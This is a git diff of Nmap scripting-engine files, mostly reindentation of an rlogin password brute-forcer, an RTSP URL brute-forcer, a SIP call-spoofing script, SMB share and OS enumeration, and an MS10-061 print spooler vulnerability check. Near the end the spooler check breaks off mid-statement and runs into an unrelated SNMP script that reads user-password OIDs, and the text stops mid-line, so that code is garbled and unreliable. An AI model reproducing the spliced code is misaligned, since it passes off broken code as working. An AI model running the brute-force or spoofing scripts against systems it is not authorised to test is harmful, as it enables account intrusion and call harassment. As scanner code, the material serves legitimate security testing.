not(status) ) then + stdnse.print_debug(3, "ERROR: failed to connect to server") + end + return status + end, - login = function(self, username, password) - local data = ("\0%s\0%s\0vt100/9600\0"):format(username, username) - local status, err = self.socket:send(data) + login = function(self, username, password) + local data = ("\0%s\0%s\0vt100/9600\0"):format(username, username) + local status, err = self.socket:send(data) - status, data = self.socket:receive() - if (not(status)) then - local err = brute.Error:new("Failed to read response from server") - err:setRetry( true ) - return false, err - end - if ( data ~= "\0" ) then - stdnse.print_debug(2, "ERROR: Expected null byte") - local err = brute.Error:new( "Expected null byte" ) - err:setRetry( true ) - return false, err - end + status, data = self.socket:receive() + if (not(status)) then + local err = brute.Error:new("Failed to read response from server") + err:setRetry( true ) + return false, err + end + if ( data ~= "\0" ) then + stdnse.print_debug(2, "ERROR: Expected null byte") + local err = brute.Error:new( "Expected null byte" ) + err:setRetry( true ) + return false, err + end - status, data = self.socket:receive() - if (not(status)) then - local err = brute.Error:new("Failed to read response from server") - err:setRetry( true ) - return false, err - end - if ( data ~= "Password: " ) then - stdnse.print_debug(2, "ERROR: Expected password prompt") - local err = brute.Error:new( "Expected password prompt" ) - err:setRetry( true ) - return false, err - end + status, data = self.socket:receive() + if (not(status)) then + local err = brute.Error:new("Failed to read response from server") + err:setRetry( true ) + return false, err + end + if ( data ~= "Password: " ) then + stdnse.print_debug(2, "ERROR: Expected password prompt") + local err = brute.Error:new( "Expected password prompt" ) + err:setRetry( true ) + return false, err + end - status, err = self.socket:send(password .. "\r") - status, data = self.socket:receive() - if (not(status)) then - local err = brute.Error:new("Failed to read response from server") - err:setRetry( true ) - return false, err - end + status, err = self.socket:send(password .. "\r") + status, data = self.socket:receive() + if (not(status)) then + local err = brute.Error:new("Failed to read response from server") + err:setRetry( true ) + return false, err + end - status, data = self.socket:receive() - if (not(status)) then - local err = brute.Error:new("Failed to read response from server") - err:setRetry( true ) - return false, err - end + status, data = self.socket:receive() + if (not(status)) then + local err = brute.Error:new("Failed to read response from server") + err:setRetry( true ) + return false, err + end - if ( data:match("[Pp]assword") or data:match("[Ii]ncorrect") ) then - return false, brute.Error:new( "Incorrect password" ) - end + if ( data:match("[Pp]assword") or data:match("[Ii]ncorrect") ) then + return false, brute.Error:new( "Incorrect password" ) + end - return true, brute.Account:new(username, password, creds.State.VALID) - end, + return true, brute.Account:new(username, password, creds.State.VALID) + end, - disconnect = function(self) - return self.socket:close() - end, + disconnect = function(self) + return self.socket:close() + end, } local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout")) @@ -143,16 +143,16 @@ arg_timeout = (arg_timeout or 10) * 1000 action = function(host, port) - if ( not(nmap.is_privileged()) ) then - return "\n ERROR: rlogin-brute needs Nmap to be run in privileged mode" - end + if ( not(nmap.is_privileged()) ) then + return "\n ERROR: rlogin-brute needs Nmap to be run in privileged mode" + end - local options = { - timeout = arg_timeout - } + local options = { + timeout = arg_timeout + } - local engine = brute.Engine:new(Driver, host, port, options) - engine.options.script_name = SCRIPT_NAME - local status, result = engine:start() - return result + local engine = brute.Engine:new(Driver, host, port, options) + engine.options.script_name = SCRIPT_NAME + local status, result = engine:start() + return result end diff --git a/scripts/rtsp-url-brute.nse b/scripts/rtsp-url-brute.nse index bbaa1ca2c..a9ccf157f 100644 --- a/scripts/rtsp-url-brute.nse +++ b/scripts/rtsp-url-brute.nse @@ -44,17 +44,17 @@ portrule = shortport.port_or_service(554, "rtsp", "tcp", "open") -- @param filename string containing the name of the file to read from -- @return url string containing the relative RTSP url urlIterator = function(fd) - local function getNextUrl () - repeat - local line = fd:read() - if ( line and not(line:match('^#!comment:')) ) then - coroutine.yield(line) - end - until(not(line)) - fd:close() - while(true) do coroutine.yield(nil) end - end - return coroutine.wrap( getNextUrl ) + local function getNextUrl () + repeat + local line = fd:read() + if ( line and not(line:match('^#!comment:')) ) then + coroutine.yield(line) + end + until(not(line)) + fd:close() + while(true) do coroutine.yield(nil) end + end + return coroutine.wrap( getNextUrl ) end -- Fetches the next url from the iterator, creates an absolute url and tries @@ -64,101 +64,101 @@ end -- @param url_iter function containing the url iterator -- @param result table containing the urls that were successfully retrieved local function processURL(host, port, url_iter, result) - local condvar = nmap.condvar(result) - for u in url_iter do - local name = ( host.targetname and #host.targetname > 0 ) and host.targetname or - ( host.name and #host.name > 0 ) and host.name or - host.ip - local url = ("rtsp://%s%s"):format(name, u) - local helper = rtsp.Helper:new(host, port) - local status = helper:connect() + local condvar = nmap.condvar(result) + for u in url_iter do + local name = ( host.targetname and #host.targetname > 0 ) and host.targetname or + ( host.name and #host.name > 0 ) and host.name or + host.ip + local url = ("rtsp://%s%s"):format(name, u) + local helper = rtsp.Helper:new(host, port) + local status = helper:connect() - if ( not(status) ) then - stdnse.print_debug(2, "ERROR: Connecting to RTSP server url: %s", url) - table.insert(result, { url = url, status = -1 } ) - break - end + if ( not(status) ) then + stdnse.print_debug(2, "ERROR: Connecting to RTSP server url: %s", url) + table.insert(result, { url = url, status = -1 } ) + break + end local response - status, response = helper:describe(url) - if ( not(status) ) then - stdnse.print_debug(2, "ERROR: Sending DESCRIBE request to url: %s", url) - table.insert(result, { url = url, status = -1 } ) - break - end + status, response = helper:describe(url) + if ( not(status) ) then + stdnse.print_debug(2, "ERROR: Sending DESCRIBE request to url: %s", url) + table.insert(result, { url = url, status = -1 } ) + break + end - table.insert(result, { url = url, status = response.status } ) - helper:close() - end - condvar "signal" + table.insert(result, { url = url, status = response.status } ) + helper:close() + end + condvar "signal" end action = function(host, port) - local response - local result = {} - local condvar = nmap.condvar(result) - local threadcount = stdnse.get_script_args('rtsp-url-brute.threads') or 10 - local filename = stdnse.get_script_args('rtsp-url-brute.urlfile') or - nmap.fetchfile("nselib/data/rtsp-urls.txt") + local response + local result = {} + local condvar = nmap.condvar(result) + local threadcount = stdnse.get_script_args('rtsp-url-brute.threads') or 10 + local filename = stdnse.get_script_args('rtsp-url-brute.urlfile') or + nmap.fetchfile("nselib/data/rtsp-urls.txt") - threadcount = tonumber(threadcount) + threadcount = tonumber(threadcount) - if ( not(filename) ) then - return stdnse.format_output(false, "No dictionary could be loaded") - end + if ( not(filename) ) then + return stdnse.format_output(false, "No dictionary could be loaded") + end - local f = io.open(filename) - if ( not(f) ) then - return stdnse.format_output(false, ("Failed to open dictionary file: %s"):format(filename)) - end + local f = io.open(filename) + if ( not(f) ) then + return stdnse.format_output(false, ("Failed to open dictionary file: %s"):format(filename)) + end - local url_iter = urlIterator(f) - if ( not(url_iter) ) then - return stdnse.format_output(false, ("Could not open the URL dictionary: "):format(f)) - end + local url_iter = urlIterator(f) + if ( not(url_iter) ) then + return stdnse.format_output(false, ("Could not open the URL dictionary: "):format(f)) + end - local threads = {} - for t=1, threadcount do - local co = stdnse.new_thread(processURL, host, port, url_iter, result) - threads[co] = true - end + local threads = {} + for t=1, threadcount do + local co = stdnse.new_thread(processURL, host, port, url_iter, result) + threads[co] = true + end - repeat - for t in pairs(threads) do - if ( coroutine.status(t) == "dead" ) then threads[t] = nil end - end - if ( next(threads) ) then - condvar "wait" - end - until( next(threads) == nil ) + repeat + for t in pairs(threads) do + if ( coroutine.status(t) == "dead" ) then threads[t] = nil end + end + if ( next(threads) ) then + condvar "wait" + end + until( next(threads) == nil ) - -- urls that could not be retrieved due to low level errors, such as - -- failure in socket send or receive - local failure_urls = { name='An error occured while testing the following URLs' } + -- urls that could not be retrieved due to low level errors, such as + -- failure in socket send or receive + local failure_urls = { name='An error occured while testing the following URLs' } - -- urls that illicited a 200 OK response - local success_urls = { name='Discovered URLs' } + -- urls that illicited a 200 OK response + local success_urls = { name='Discovered URLs' } - -- urls requiring authentication - -- local auth_urls = { name='URL requiring authentication' } + -- urls requiring authentication + -- local auth_urls = { name='URL requiring authentication' } - for _, r in ipairs(result) do - if ( r.status == -1 ) then - table.insert(failure_urls, r.url) - elseif ( r.status == 200 ) then - table.insert(success_urls, r.url) --- elseif ( r.status == 401 ) then --- table.insert(auth_urls, r.url ) - end - end + for _, r in ipairs(result) do + if ( r.status == -1 ) then + table.insert(failure_urls, r.url) + elseif ( r.status == 200 ) then + table.insert(success_urls, r.url) + -- elseif ( r.status == 401 ) then + -- table.insert(auth_urls, r.url ) + end + end - local result = { success_urls, failure_urls } + local result = { success_urls, failure_urls } --- -- insert our URLs requiring auth ONLY if not ALL urls returned auth --- if (#result > #auth_urls) then --- table.insert(result, 2, auth_urls) --- end + -- -- insert our URLs requiring auth ONLY if not ALL urls returned auth + -- if (#result > #auth_urls) then + -- table.insert(result, 2, auth_urls) + -- end - return stdnse.format_output(true, result ) + return stdnse.format_output(true, result ) end diff --git a/scripts/sip-call-spoof.nse b/scripts/sip-call-spoof.nse index 7d9728813..bd5e66a24 100644 --- a/scripts/sip-call-spoof.nse +++ b/scripts/sip-call-spoof.nse @@ -58,18 +58,18 @@ portrule = shortport.port_or_service(5060, "sip", {"tcp", "udp"}) -- @return status True if we got a response, false else. -- @return resp Response table if status is true, error string else. local sendinvite = function(session, ua, from, src, extension) - local request = sip.Request:new(sip.Method.INVITE) + local request = sip.Request:new(sip.Method.INVITE) - request:setUri("sip:" .. session.sessdata:getServer()) - request:setUA(ua) - if src then - session.sessdata:setDomain(src) - end - session.sessdata:setUsername(extension) - session.sessdata:setName(from) - request:setSessionData(session.sessdata) + request:setUri("sip:" .. session.sessdata:getServer()) + request:setUA(ua) + if src then + session.sessdata:setDomain(src) + end + session.sessdata:setUsername(extension) + session.sessdata:setName(from) + request:setSessionData(session.sessdata) - return session:exch(request) + return session:exch(request) end --- Function that waits for certain responses for an amount of time. @@ -79,31 +79,31 @@ end -- @return responsecode Code for the latest meaningful response. -- could be 180, 200, 486, 408 or 603 local waitresponses = function(session,timeout) - local response, status, data, responsecode, ringing, waittime - local start = nmap.clock_ms() + local response, status, data, responsecode, ringing, waittime + local start = nmap.clock_ms() - while (nmap.clock_ms() - start) < timeout do - status, data = session.conn:recv() - if status then - response = sip.Response:new(data) - responsecode = response:getErrorCode() - waittime = nmap.clock_ms() - start - if responsecode == sip.Error.RING then - ringing = true - elseif responsecode == sip.Error.BUSY then - return ringing, sip.Error.BUSY - elseif responsecode == sip.Error.DECLINE then - return ringing, sip.Error.DECLINE, waittime - elseif responsecode == sip.Error.OK then - return ringing, sip.Error.OK, waittime - elseif responsecode == sip.Error.TIMEOUT then - return ringing, sip.Error.OK - end - end - end - if ringing then - return ringing, sip.Error.RING + while (nmap.clock_ms() - start) < timeout do + status, data = session.conn:recv() + if status then + response = sip.Response:new(data) + responsecode = response:getErrorCode() + waittime = nmap.clock_ms() - start + if responsecode == sip.Error.RING then + ringing = true + elseif responsecode == sip.Error.BUSY then + return ringing, sip.Error.BUSY + elseif responsecode == sip.Error.DECLINE then + return ringing, sip.Error.DECLINE, waittime + elseif responsecode == sip.Error.OK then + return ringing, sip.Error.OK, waittime + elseif responsecode == sip.Error.TIMEOUT then + return ringing, sip.Error.OK + end end + end + if ringing then + return ringing, sip.Error.RING + end end --- Function that spoofs an invite request and listens for responses. @@ -118,54 +118,54 @@ end -- could be 180, 200, 486, 408 or 603 local invitespoof = function(session, ua, from, src, extension, timeout) - local status, response = sendinvite(session, ua, from, src, extension) - -- check if we got a 100 Trying response. - if status and response:getErrorCode() == 100 then - -- wait for responses - return waitresponses(session, timeout) - end + local status, response = sendinvite(session, ua, from, src, extension) + -- check if we got a 100 Trying response. + if status and response:getErrorCode() == 100 then + -- wait for responses + return waitresponses(session, timeout) + end end action = function(host, port) - local status, session + local status, session - local ua = stdnse.get_script_args(SCRIPT_NAME .. ".ua") or "Ekiga" - local from = stdnse.get_script_args(SCRIPT_NAME .. ".from") or "Home" - local src = stdnse.get_script_args(SCRIPT_NAME .. ".src") - local extension = stdnse.get_script_args(SCRIPT_NAME .. ".extension") or 100 - local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout")) + local ua = stdnse.get_script_args(SCRIPT_NAME .. ".ua") or "Ekiga" + local from = stdnse.get_script_args(SCRIPT_NAME .. ".from") or "Home" + local src = stdnse.get_script_args(SCRIPT_NAME .. ".src") + local extension = stdnse.get_script_args(SCRIPT_NAME .. ".extension") or 100 + local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout")) - -- Default timeout value = 5 seconds. - timeout = (timeout or 5) * 1000 + -- Default timeout value = 5 seconds. + timeout = (timeout or 5) * 1000 - session = sip.Session:new(host, port) - status = session:connect() - if not status then - return "ERROR: Failed to connect to the SIP server." + session = sip.Session:new(host, port) + status = session:connect() + if not status then + return "ERROR: Failed to connect to the SIP server." + end + + local ringing, result, waittime = invitespoof(session, ua, from, src, extension, timeout) + -- If we get a response, we set the port to open. + if result then + if nmap.get_port_state(host, port) ~= "open" then + nmap.set_port_state(host, port, "open") end + end - local ringing, result, waittime = invitespoof(session, ua, from, src, extension, timeout) - -- If we get a response, we set the port to open. - if result then - if nmap.get_port_state(host, port) ~= "open" then - nmap.set_port_state(host, port, "open") - end - end - - -- We check for ringing to skip false positives. - if ringing then - if result == sip.Error.BUSY then - return stdnse.format_output(true, "Target line is busy.") - elseif result == sip.Error.DECLINE then - return stdnse.format_output(true, ("Target declined the call. (After %.1f seconds)"):format(waittime / 1000)) - elseif result == sip.Error.OK then - return stdnse.format_output(true, ("Target hung up. (After %.1f seconds)"):format(waittime / 1000)) - elseif result == sip.Error.TIMEOUT then - return stdnse.format_output(true, "Ringing, no answer.") - elseif result == sip.Error.RING then - return stdnse.format_output(true, "Ringing, got no answer. (script timeout)") - end - else - stdnse.print_debug(SCRIPT_NAME .. "Target phone didn't ring.") + -- We check for ringing to skip false positives. + if ringing then + if result == sip.Error.BUSY then + return stdnse.format_output(true, "Target line is busy.") + elseif result == sip.Error.DECLINE then + return stdnse.format_output(true, ("Target declined the call. (After %.1f seconds)"):format(waittime / 1000)) + elseif result == sip.Error.OK then + return stdnse.format_output(true, ("Target hung up. (After %.1f seconds)"):format(waittime / 1000)) + elseif result == sip.Error.TIMEOUT then + return stdnse.format_output(true, "Ringing, no answer.") + elseif result == sip.Error.RING then + return stdnse.format_output(true, "Ringing, got no answer. (script timeout)") end + else + stdnse.print_debug(SCRIPT_NAME .. "Target phone didn't ring.") + end end diff --git a/scripts/smb-enum-shares.nse b/scripts/smb-enum-shares.nse index 2a931dac9..d949082ba 100644 --- a/scripts/smb-enum-shares.nse +++ b/scripts/smb-enum-shares.nse @@ -66,92 +66,92 @@ dependencies = {"smb-brute"} hostrule = function(host) - return smb.get_port(host) ~= nil + return smb.get_port(host) ~= nil end action = function(host) - local status, shares, extra - local response = {} + local status, shares, extra + local response = {} - -- Get the list of shares - status, shares, extra = smb.share_get_list(host) - if(status == false) then - return stdnse.format_output(false, string.format("Couldn't enumerate shares: %s", shares)) - end + -- Get the list of shares + status, shares, extra = smb.share_get_list(host) + if(status == false) then + return stdnse.format_output(false, string.format("Couldn't enumerate shares: %s", shares)) + end - -- Find out who the current user is - local result, username, domain = smb.get_account(host) - if(result == false) then - username = "" - domain = "" - end + -- Find out who the current user is + local result, username, domain = smb.get_account(host) + if(result == false) then + username = "" + domain = "" + end - if(extra ~= nil and extra ~= '') then - table.insert(response, extra) - end + if(extra ~= nil and extra ~= '') then + table.insert(response, extra) + end - for i = 1, #shares, 1 do - local share = shares[i] - local share_output = {} - share_output['name'] = share['name'] + for i = 1, #shares, 1 do + local share = shares[i] + local share_output = {} + share_output['name'] = share['name'] - if(type(share['details']) ~= 'table') then - share_output['warning'] = string.format("Couldn't get details for share: %s", share['details']) - else - local details = share['details'] + if(type(share['details']) ~= 'table') then + share_output['warning'] = string.format("Couldn't get details for share: %s", share['details']) + else + local details = share['details'] - table.insert(share_output, string.format("Type: %s", details['sharetype'])) - table.insert(share_output, string.format("Comment: %s", details['comment'])) - table.insert(share_output, string.format("Users: %s, Max: %s", details['current_users'], details['max_users'])) - table.insert(share_output, string.format("Path: %s", details['path'])) - end + table.insert(share_output, string.format("Type: %s", details['sharetype'])) + table.insert(share_output, string.format("Comment: %s", details['comment'])) + table.insert(share_output, string.format("Users: %s, Max: %s", details['current_users'], details['max_users'])) + table.insert(share_output, string.format("Path: %s", details['path'])) + end - -- A share of 'NT_STATUS_OBJECT_NAME_NOT_FOUND' indicates this isn't a fileshare - if(share['user_can_write'] == "NT_STATUS_OBJECT_NAME_NOT_FOUND") then - -- Print details for a non-file share - if(share['anonymous_can_read']) then - table.insert(share_output, "Anonymous access: READ ") - else - table.insert(share_output, "Anonymous access: ") - end + -- A share of 'NT_STATUS_OBJECT_NAME_NOT_FOUND' indicates this isn't a fileshare + if(share['user_can_write'] == "NT_STATUS_OBJECT_NAME_NOT_FOUND") then + -- Print details for a non-file share + if(share['anonymous_can_read']) then + table.insert(share_output, "Anonymous access: READ ") + else + table.insert(share_output, "Anonymous access: ") + end - -- Don't bother printing this if we're already anonymous - if(username ~= '') then - if(share['user_can_read']) then - table.insert(share_output, "Current user ('" .. username .. "') access: READ ") - else - table.insert(share_output, "Current user ('" .. username .. "') access: ") - end - end - else - -- Print details for a file share - if(share['anonymous_can_read'] and share['anonymous_can_write']) then - table.insert(share_output, "Anonymous access: READ/WRITE") - elseif(share['anonymous_can_read'] and not(share['anonymous_can_write'])) then - table.insert(share_output, "Anonymous access: READ") - elseif(not(share['anonymous_can_read']) and share['anonymous_can_write']) then - table.insert(share_output, "Anonymous access: WRITE") - else - table.insert(share_output, "Anonymous access: ") - end + -- Don't bother printing this if we're already anonymous + if(username ~= '') then + if(share['user_can_read']) then + table.insert(share_output, "Current user ('" .. username .. "') access: READ ") + else + table.insert(share_output, "Current user ('" .. username .. "') access: ") + end + end + else + -- Print details for a file share + if(share['anonymous_can_read'] and share['anonymous_can_write']) then + table.insert(share_output, "Anonymous access: READ/WRITE") + elseif(share['anonymous_can_read'] and not(share['anonymous_can_write'])) then + table.insert(share_output, "Anonymous access: READ") + elseif(not(share['anonymous_can_read']) and share['anonymous_can_write']) then + table.insert(share_output, "Anonymous access: WRITE") + else + table.insert(share_output, "Anonymous access: ") + end - if(username ~= '') then - if(share['user_can_read'] and share['user_can_write']) then - table.insert(share_output, "Current user ('" .. username .. "') access: READ/WRITE") - elseif(share['user_can_read'] and not(share['user_can_write'])) then - table.insert(share_output, "Current user ('" .. username .. "') access: READ") - elseif(not(share['user_can_read']) and share['user_can_write']) then - table.insert(share_output, "Current user ('" .. username .. "') access: WRITE") - else - table.insert(share_output, "Current user ('" .. username .. "') access: ") - end - end - end + if(username ~= '') then + if(share['user_can_read'] and share['user_can_write']) then + table.insert(share_output, "Current user ('" .. username .. "') access: READ/WRITE") + elseif(share['user_can_read'] and not(share['user_can_write'])) then + table.insert(share_output, "Current user ('" .. username .. "') access: READ") + elseif(not(share['user_can_read']) and share['user_can_write']) then + table.insert(share_output, "Current user ('" .. username .. "') access: WRITE") + else + table.insert(share_output, "Current user ('" .. username .. "') access: ") + end + end + end - table.insert(response, share_output) - end + table.insert(response, share_output) + end - return stdnse.format_output(true, response) + return stdnse.format_output(true, response) end diff --git a/scripts/smb-os-discovery.nse b/scripts/smb-os-discovery.nse index 7cc69f412..46d522900 100644 --- a/scripts/smb-os-discovery.nse +++ b/scripts/smb-os-discovery.nse @@ -79,7 +79,7 @@ dependencies = {"smb-brute"} --- Check whether or not this script should be run. hostrule = function(host) - return smb.get_port(host) ~= nil + return smb.get_port(host) ~= nil end -- Some observed OS strings: @@ -92,97 +92,97 @@ end -- http://msdn.microsoft.com/en-us/library/cc246806%28v=prot.20%29.aspx has a -- list of strings that don't quite match these. function make_cpe(result) - local os = result.os - local parts = {} + local os = result.os + local parts = {} - if string.match(os, "^Windows 5%.0") then - parts = {"o", "microsoft", "windows_2000"} - elseif string.match(os, "^Windows 5%.1") then - parts = {"o", "microsoft", "windows_xp"} - elseif string.match(os, "^Windows Server.*2003") then - parts = {"o", "microsoft", "windows_server_2003"} - elseif string.match(os, "^Windows Vista") then - parts = {"o", "microsoft", "windows_vista"} - elseif string.match(os, "^Windows Server.*2008") then - parts = {"o", "microsoft", "windows_server_2008"} - elseif string.match(os, "^Windows 7") then - parts = {"o", "microsoft", "windows_7"} - elseif string.match(os, "^Windows Server.*2012") then - parts = {"o", "microsoft", "windows_server_2012"} - end + if string.match(os, "^Windows 5%.0") then + parts = {"o", "microsoft", "windows_2000"} + elseif string.match(os, "^Windows 5%.1") then + parts = {"o", "microsoft", "windows_xp"} + elseif string.match(os, "^Windows Server.*2003") then + parts = {"o", "microsoft", "windows_server_2003"} + elseif string.match(os, "^Windows Vista") then + parts = {"o", "microsoft", "windows_vista"} + elseif string.match(os, "^Windows Server.*2008") then + parts = {"o", "microsoft", "windows_server_2008"} + elseif string.match(os, "^Windows 7") then + parts = {"o", "microsoft", "windows_7"} + elseif string.match(os, "^Windows Server.*2012") then + parts = {"o", "microsoft", "windows_server_2012"} + end - if parts[1] == "o" and parts[2] == "microsoft" - and string.match(parts[3], "^windows") then - parts[4] = "" - local sp = string.match(os, "Service Pack (%d+)") - if sp then - parts[5] = "sp" .. tostring(sp) - else - parts[5] = "-" - end - if string.match(os, "Professional") then - parts[6] = "professional" - end - end + if parts[1] == "o" and parts[2] == "microsoft" + and string.match(parts[3], "^windows") then + parts[4] = "" + local sp = string.match(os, "Service Pack (%d+)") + if sp then + parts[5] = "sp" .. tostring(sp) + else + parts[5] = "-" + end + if string.match(os, "Professional") then + parts[6] = "professional" + end + end - if #parts > 0 then - return "cpe:/" .. stdnse.strjoin(":", parts) - end + if #parts > 0 then + return "cpe:/" .. stdnse.strjoin(":", parts) + end end function add_to_output(output_table, label, value) - if value then - table.insert(output_table, string.format("%s: %s", label, value)) - end + if value then + table.insert(output_table, string.format("%s: %s", label, value)) + end end action = function(host) - local response = stdnse.output_table() - local status, result = smb.get_os(host) + local response = stdnse.output_table() + local status, result = smb.get_os(host) - if(status == false) then - return stdnse.format_output(false, result) - end + if(status == false) then + return stdnse.format_output(false, result) + end - -- Collect results. - response.os = result.os - response.lanmanager = result.lanmanager - response.domain = result.domain - response.server = result.server - if result.time and result.timezone then - response.date = stdnse.format_timestamp(result.time, result.timezone * 60 * 60) - end - response.fqdn = result.fqdn - response.domain_dns = result.domain_dns - response.forest_dns = result.forest_dns - response.workgroup = result.workgroup - response.cpe = make_cpe(result) + -- Collect results. + response.os = result.os + response.lanmanager = result.lanmanager + response.domain = result.domain + response.server = result.server + if result.time and result.timezone then + response.date = stdnse.format_timestamp(result.time, result.timezone * 60 * 60) + end + response.fqdn = result.fqdn + response.domain_dns = result.domain_dns + response.forest_dns = result.forest_dns + response.workgroup = result.workgroup + response.cpe = make_cpe(result) - -- Build normal output. - local output_lines = {} - if response.os and response.lanmanager then - add_to_output(output_lines, "OS", string.format("%s (%s)", smb.get_windows_version(response.os), response.lanmanager)) - else - add_to_output(output_lines, "OS", "Unknown") - end - add_to_output(output_lines, "OS CPE", response.cpe) - if response.fqdn then - -- Pull the first part of the FQDN as the computer name. - add_to_output(output_lines, "Computer name", string.match(response.fqdn, "^([^.]+)%.?")) - end - add_to_output(output_lines, "NetBIOS computer name", result.server) - if response.fqdn and response.domain_dns and response.fqdn ~= response.domain_dns then - -- If the FQDN doesn't match the domain name, the target is a domain member. - add_to_output(output_lines, "Domain name", response.domain_dns) - add_to_output(output_lines, "Forest name", response.forest_dns) - add_to_output(output_lines, "FQDN", response.fqdn) - add_to_output(output_lines, "NetBIOS domain name", response.domain) - else - add_to_output(output_lines, "Workgroup", response.workgroup or response.domain) - end - add_to_output(output_lines, "System time", response.date or "Unknown") + -- Build normal output. + local output_lines = {} + if response.os and response.lanmanager then + add_to_output(output_lines, "OS", string.format("%s (%s)", smb.get_windows_version(response.os), response.lanmanager)) + else + add_to_output(output_lines, "OS", "Unknown") + end + add_to_output(output_lines, "OS CPE", response.cpe) + if response.fqdn then + -- Pull the first part of the FQDN as the computer name. + add_to_output(output_lines, "Computer name", string.match(response.fqdn, "^([^.]+)%.?")) + end + add_to_output(output_lines, "NetBIOS computer name", result.server) + if response.fqdn and response.domain_dns and response.fqdn ~= response.domain_dns then + -- If the FQDN doesn't match the domain name, the target is a domain member. + add_to_output(output_lines, "Domain name", response.domain_dns) + add_to_output(output_lines, "Forest name", response.forest_dns) + add_to_output(output_lines, "FQDN", response.fqdn) + add_to_output(output_lines, "NetBIOS domain name", response.domain) + else + add_to_output(output_lines, "Workgroup", response.workgroup or response.domain) + end + add_to_output(output_lines, "System time", response.date or "Unknown") - return response, stdnse.format_output(true, output_lines) + return response, stdnse.format_output(true, output_lines) end diff --git a/scripts/smb-vuln-ms10-061.nse b/scripts/smb-vuln-ms10-061.nse index c3f3cebc0..29387f21f 100644 --- a/scripts/smb-vuln-ms10-061.nse +++ b/scripts/smb-vuln-ms10-061.nse @@ -21,9 +21,9 @@ which can be specified with smb library arguments smbuser and smbpassword. References: - - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2729 - - http://technet.microsoft.com/en-us/security/bulletin/MS10-061 - - http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx + - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2729 + - http://technet.microsoft.com/en-us/security/bulletin/MS10-061 + - http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx ]] --- -- @usage nmap -p 445 --script=smb-vuln-ms10-061 @@ -58,113 +58,113 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"vuln","intrusive"} hostrule = function(host) - return smb.get_port(host) ~= nil + return smb.get_port(host) ~= nil end action = function(host,port) - local ms10_061 = { - title = "Print Spooler Service Impersonation Vulnerability", - IDS = {CVE = 'CVE-2010-2729'}, - risk_factor = "HIGH", - scores = { - CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)", - }, - description = [[ + local ms10_061 = { + title = "Print Spooler Service Impersonation Vulnerability", + IDS = {CVE = 'CVE-2010-2729'}, + risk_factor = "HIGH", + scores = { + CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)", + }, + description = [[ The Print Spooler service in Microsoft Windows XP,Server 2003 SP2,Vista,Server 2008, and 7, when printer sharing is enabled, does not properly validate spooler access permissions, which allows remote attackers to create files in a system directory, and consequently execute arbitrary code, by sending a crafted print request over RPC, as exploited in the wild in September 2010, aka "Print Spooler Service Impersonation Vulnerability." - ]], - references = { - 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2729', - 'http://technet.microsoft.com/en-us/security/bulletin/MS10-061', - 'http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx' - }, - dates = { - disclosure = {year = '2010', month = '09', day = '5'}, - }, - exploit_results = {}, - } - local report = vulns.Report:new(SCRIPT_NAME, host, port) - ms10_061.state = vulns.STATE.NOT_VULN - local status, smbstate - status, smbstate = msrpc.start_smb(host, msrpc.SPOOLSS_PATH,true) - if(status == false) then - stdnse.print_debug("SMB: " .. smbstate) - return false, smbstate - end + ]], + references = { + 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2729', + 'http://technet.microsoft.com/en-us/security/bulletin/MS10-061', + 'http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx' + }, + dates = { + disclosure = {year = '2010', month = '09', day = '5'}, + }, + exploit_results = {}, + } + local report = vulns.Report:new(SCRIPT_NAME, host, port) + ms10_061.state = vulns.STATE.NOT_VULN + local status, smbstate + status, smbstate = msrpc.start_smb(host, msrpc.SPOOLSS_PATH,true) + if(status == false) then + stdnse.print_debug("SMB: " .. smbstate) + return false, smbstate + end - local bind_result - status, bind_result = msrpc.bind(smbstate,msrpc.SPOOLSS_UUID, msrpc.SPOOLSS_VERSION, nil) - if(status == false) then - msrpc.stop_smb(smbstate) - stdnse.print_debug("SMB: " .. bind_result) - return false, bind_result - end - local printer = stdnse.get_script_args(SCRIPT_NAME .. '.printer') - -- if printer not set find available printers - if not printer then - stdnse.print_debug("No printer specified, trying to find one...") - local lanman_result - local REMSmb_NetShareEnum_P = "WrLeh" - local REMSmb_share_info_1 = "B13BWz" - status, lanman_result = msrpc.call_lanmanapi(smbstate,0,REMSmb_NetShareEnum_P,REMSmb_share_info_1,bin.pack("ss",0x01,65406)) - if status == false then - stdnse.print_debug("SMB: " .. lanman_result) - stdnse.print_debug("SMB: Looks like LANMAN API is not available. Try setting printer script arg.") - end + local bind_result + status, bind_result = msrpc.bind(smbstate,msrpc.SPOOLSS_UUID, msrpc.SPOOLSS_VERSION, nil) + if(status == false) then + msrpc.stop_smb(smbstate) + stdnse.print_debug("SMB: " .. bind_result) + return false, bind_result + end + local printer = stdnse.get_script_args(SCRIPT_NAME .. '.printer') + -- if printer not set find available printers + if not printer then + stdnse.print_debug("No printer specified, trying to find one...") + local lanman_result + local REMSmb_NetShareEnum_P = "WrLeh" + local REMSmb_share_info_1 = "B13BWz" + status, lanman_result = msrpc.call_lanmanapi(smbstate,0,REMSmb_NetShareEnum_P,REMSmb_share_info_1,bin.pack("ss",0x01,65406)) + if status == false then + stdnse.print_debug("SMB: " .. lanman_result) + stdnse.print_debug("SMB: Looks like LANMAN API is not available. Try setting printer script arg.") + end - local parameters = lanman_result.parameters - local data = lanman_result.data - local pos, status, convert, entry_count, available_entries = bin.unpack("s",data,pos+14) - pos, name = bin.unpack("s",data,pos+14) + pos, name = bin.unpack("stdnse.output_table formatted table function process_answer( tbl ) - -- h3c-user MIB OIDs (oldoid) - local h3cUserName = "1.3.6.1.4.1.2011.10.2.12.1.1.1.1" - local h3cUserPassword = 